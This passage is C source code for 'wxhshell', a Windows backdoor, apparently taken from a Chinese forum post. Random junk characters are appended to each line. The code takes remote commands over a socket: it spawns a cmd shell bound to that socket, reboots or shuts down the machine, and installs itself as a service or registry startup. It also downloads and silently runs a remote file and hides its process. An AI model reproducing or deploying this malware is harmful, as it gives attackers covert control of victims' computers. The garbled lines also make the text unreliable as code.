.*bu:FuDE  
    switch(cmd[0]) { r- :u*  
  8LMO2Wyq  
  // 帮助 uIO<6p)  
  case '?': { bZB7t`C5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !&k}YF  
    break; GQP2-cSZ  
  } :s}6a23  
  // 安装 YgN:$+g5  
  case 'i': { w>]?gN?8Fe  
    if(Install()) eA$wJ$*   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _+vE(:T  
    else BcfW94  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tf bB1  
    break; "Y> #=>8  
    } _7#9nJ3|  
  // 卸载 yi*2^??` 1  
  case 'r': { nX|f?5 O  
    if(Uninstall()) U^n71m>]%T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "GTlJqhk  
    else _8f? H#&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VT;Vm3\  
    break; *x;&fyR  
    } +@ FM~q  
  // 显示 wxhshell 所在路径 ]hPu  
  case 'p': { *&d>Vk."]  
    char svExeFile[MAX_PATH]; Nzo;j0 [  
    strcpy(svExeFile,"\n\r"); %)|pUa&  
      strcat(svExeFile,ExeFile); ey~5DY7  
        send(wsh,svExeFile,strlen(svExeFile),0); B3j   
    break; j<HBzqP%6  
    } l=*60Ag\J~  
  // 重启 1j9R^  
  case 'b': { >+ P5Zm(_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jOYa}jm?  
    if(Boot(REBOOT)) ^Pq4 n%x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f[AN=M"B"s  
    else { ;9+[t8Y)D  
    closesocket(wsh); d=q&% gqN  
    ExitThread(0); M_+"RKp  
    } w Bi'KS  
    break; $hn=MOMc  
    } j0XS12eM  
  // 关机 ^{IF2_h"  
  case 'd': { 'K L" i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nI63Ns  
    if(Boot(SHUTDOWN)) (&W&1KT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C[Ap&S  
    else { ]r^/:M  
    closesocket(wsh); #}8l9[Q|M  
    ExitThread(0); w[5uX>  
    } Zt;dPYq>  
    break; %a_ rYrL  
    } 7<T1#~w4L  
  // 获取shell R7q\^Yzo  
  case 's': { vG{+}o#  
    CmdShell(wsh); ,u:J"epM  
    closesocket(wsh); vpS&w  
    ExitThread(0); f6I$d<  
    break; 2~*J<iO&l  
  } xksd&X:  
  // 退出 . paA0j  
  case 'x': { 1kd\Fq^z$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ","O8'$OC  
    CloseIt(wsh); :?2@qWaL  
    break; YT*_ vmJV  
    } bc?\lD$ $  
  // 离开 {Tps3{|wt  
  case 'q': { >o]!-46  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R 2{kS  
    closesocket(wsh); al<;*n{/  
    WSACleanup(); >{seaihK  
    exit(1); OzVCqq"]  
    break; O3YD jas  
        } VP7g::Ab  
  } }f~:>N#  
  } + Z7 L&BI  
MsaD@JY.y  
  // 提示信息 R;G"LT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %M=Ob k  
} L[|($vQ"  
  } va`/Dp)M  
M/O Y "eL  
  return; uuD|%-Ng  
} DFk0"+Ky  
m=qEQy6#2u  
// shell模块句柄 B$ Z%_j&  
int CmdShell(SOCKET sock) z154lY}K  
{ u{6b>c|,X  
STARTUPINFO si; t-;zgW5mwF  
ZeroMemory(&si,sizeof(si)); XtJIaD|:3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FyF./  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yobcAV`  
PROCESS_INFORMATION ProcessInfo; wjVmK  
char cmdline[]="cmd"; x %hV5KW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y-&SZI4H  
  return 0; )U?5O$M;lE  
} -E$(<Pow~\  
nQtp4  
// 自身启动模式 ?g6xy[  
int StartFromService(void) JB <GV-l  
{ /.1yxb#Z?,  
typedef struct +nz6+{li\  
{ 61[ 8I},V  
  DWORD ExitStatus; `X:o]t@  
  DWORD PebBaseAddress; } xy>uT  
  DWORD AffinityMask; FQ3{~05T  
  DWORD BasePriority; |[ )e5Xhd  
  ULONG UniqueProcessId; b-`=^ny)K  
  ULONG InheritedFromUniqueProcessId; sa7F-XM  
}   PROCESS_BASIC_INFORMATION; '[Ue0r<jn  
 [f1'Qb  
PROCNTQSIP NtQueryInformationProcess; Fv<^\q  
Jp d|<\Ml  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F3%8E<QZd;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _K4E6c_  
5}+&Em":  
  HANDLE             hProcess; yMd<<:Ap  
  PROCESS_BASIC_INFORMATION pbi; lWR".  
|+aUy^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RCL}bE  
  if(NULL == hInst ) return 0; -](NMRqfN  
C'wRF90  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Sb/`a~q ^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xa=Lu?t%<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `hVi!Q]*P  
@{X<|,W9w  
  if (!NtQueryInformationProcess) return 0; ~fht [S?@M  
S{0iPdUC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~OE1Sd:2  
  if(!hProcess) return 0; jQ"z\}Wf  
_ddOsg|U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4GN  
#hQ#_7  
  CloseHandle(hProcess); ld7B!_b<  
pkKcTY1Fx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O-=~Bn _  
if(hProcess==NULL) return 0; C)a;zU;9  
OpNxd]"T  
HMODULE hMod; r=J+  
char procName[255]; <Wwcd8d  
unsigned long cbNeeded; dPm_jX  
G2[? b2)8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )@Vz,f\}  
k$ORVU  
  CloseHandle(hProcess); \{@n >Mh  
Gkr]8J  
if(strstr(procName,"services")) return 1; // 以服务启动 `xq/<U;i  
Fs3rsig  
  return 0; // 注册表启动 -_KO}_  
} 9'5`0$,|^  
'|7'dlW  
// 主模块 FB>^1B]]  
int StartWxhshell(LPSTR lpCmdLine) *M]@}'N  
{ jR_o!n~5  
  SOCKET wsl; #$^vP/"$  
BOOL val=TRUE; O u-/dE%  
  int port=0; yU{Q`6u T  
  struct sockaddr_in door; <NYf!bx  
y!kU0  
  if(wscfg.ws_autoins) Install(); %`# HGji)  
kR !O-@GJ]  
port=atoi(lpCmdLine); 6/=0RTd  
J6C/`)+w  
if(port<=0) port=wscfg.ws_port; LFskNF0X  
TS Ev^u)3  
  WSADATA data; ^aONuG9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }ZKG-~  
b;5&V_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h6(\ tRd!\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (rE.ft5$9  
  door.sin_family = AF_INET; n90DS/Yx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xe&w.aBI>  
  door.sin_port = htons(port); t9\}!{<s  
N fBH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2N}UB=J  
closesocket(wsl); t8?$q})RL  
return 1; ^D5+ S`V  
} `Q!#v{  
Oj,v88=  
  if(listen(wsl,2) == INVALID_SOCKET) { Q&@e,7]V+  
closesocket(wsl); zAkF:^#Y  
return 1; O,[9E  
} >oGs0mej  
  Wxhshell(wsl); B'D\l\w  
  WSACleanup(); Gv+$7{  
;xQNa}"V  
return 0; k E},>+W+  
+}eH,  
} Py~1xf/  
h0oe'Xov  
// 以NT服务方式启动 b9Mp@I7Q-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r^v1_u, 1I  
{ oO4hBM([  
DWORD   status = 0; /=K(5Xd  
  DWORD   specificError = 0xfffffff; G&z^AV  
q\n,/#'i~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kc7,F2=F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t8ZzBD!dP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f6])M)  
  serviceStatus.dwWin32ExitCode     = 0; 8svN*`[  
  serviceStatus.dwServiceSpecificExitCode = 0; oB$c-!&  
  serviceStatus.dwCheckPoint       = 0; L:_GpZ_  
  serviceStatus.dwWaitHint       = 0; )jPIBzMys  
Z'!i"Jzq|{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?_t_rF(?6  
  if (hServiceStatusHandle==0) return; rT"3^,,  
%5 ovW<E:  
status = GetLastError(); WS6;ad;|  
  if (status!=NO_ERROR) BS|$-i5L  
{ HD YWDp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $z[@DB[  
    serviceStatus.dwCheckPoint       = 0; ;u*I#)7  
    serviceStatus.dwWaitHint       = 0; %:!ILN  
    serviceStatus.dwWin32ExitCode     = status; <;lwvO  
    serviceStatus.dwServiceSpecificExitCode = specificError; ey@{Ng#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TFG0~"4Cz  
    return; i?:#lbw_  
  } v83@J~  
 Eyq4w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~$jRn(2  
  serviceStatus.dwCheckPoint       = 0; rcAPp  
  serviceStatus.dwWaitHint       = 0; 8.zYa(< 2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }Y!v"DO#Q*  
} 0t(2^*I?>  
d<cqY<y VA  
// 处理NT服务事件,比如:启动、停止 _A~>?gJ;,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y&j'2!g  
{ }1EtM/Ni{!  
switch(fdwControl) HJ_8 `( '  
{  "SA*  
case SERVICE_CONTROL_STOP: pCC3r t(  
  serviceStatus.dwWin32ExitCode = 0; ]NyN@9u@(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ke^9R-jP  
  serviceStatus.dwCheckPoint   = 0; #+Y%Bxf  
  serviceStatus.dwWaitHint     = 0; Jbn^G7vH<6  
  { &Lbh?C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #H]c/  
  } 8/<+p? 3p>  
  return; `Jj q5:\&  
case SERVICE_CONTROL_PAUSE: RqKkB8g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &,tj.?NCn  
  break; DEW;0ic  
case SERVICE_CONTROL_CONTINUE: Q%:Z&lg y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %uz6iQaq]X  
  break; AfpC >>=@  
case SERVICE_CONTROL_INTERROGATE: NXMZTZpB7  
  break; O$7cN\Z  
}; zSagsH |W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Ksk1T+>  
} '<U4D  
pv,z$3Q  
// 标准应用程序主函数 B:VGa<lx5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =wMq!mBd  
{ Z#%s/TL  
+`7!4gxwK!  
// 获取操作系统版本 E> N[  
OsIsNt=GetOsVer(); NQcNY=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aMJJ|iiU  
vDIsawbHD  
  // 从命令行安装 k'NP+N<M  
  if(strpbrk(lpCmdLine,"iI")) Install();  s&iu+>  
kkIG{Bw  
  // 下载执行文件 x~ID[  
if(wscfg.ws_downexe) { ?-'GbOr!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <m,bP c :R  
  WinExec(wscfg.ws_filenam,SW_HIDE); = \M6s  
} n?QglN  
K7t_Q8  
if(!OsIsNt) { = &^tfD  
// 如果时win9x,隐藏进程并且设置为注册表启动 7AF6aog  
HideProc(); =@D H hg  
StartWxhshell(lpCmdLine); 7- |N&u  
} uFuP%f!yY  
else ?CldcxM#  
  if(StartFromService()) ( 6ucA  
  // 以服务方式启动 sJMpF8   
  StartServiceCtrlDispatcher(DispatchTable); WidLUv   
else y!T8(  
  // 普通方式启动 j_.tg7X  
  StartWxhshell(lpCmdLine); R5xV_;wD  
MeYu  
return 0; P('bnDU  
}
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只看该作者 1 发表于: 2006-10-10
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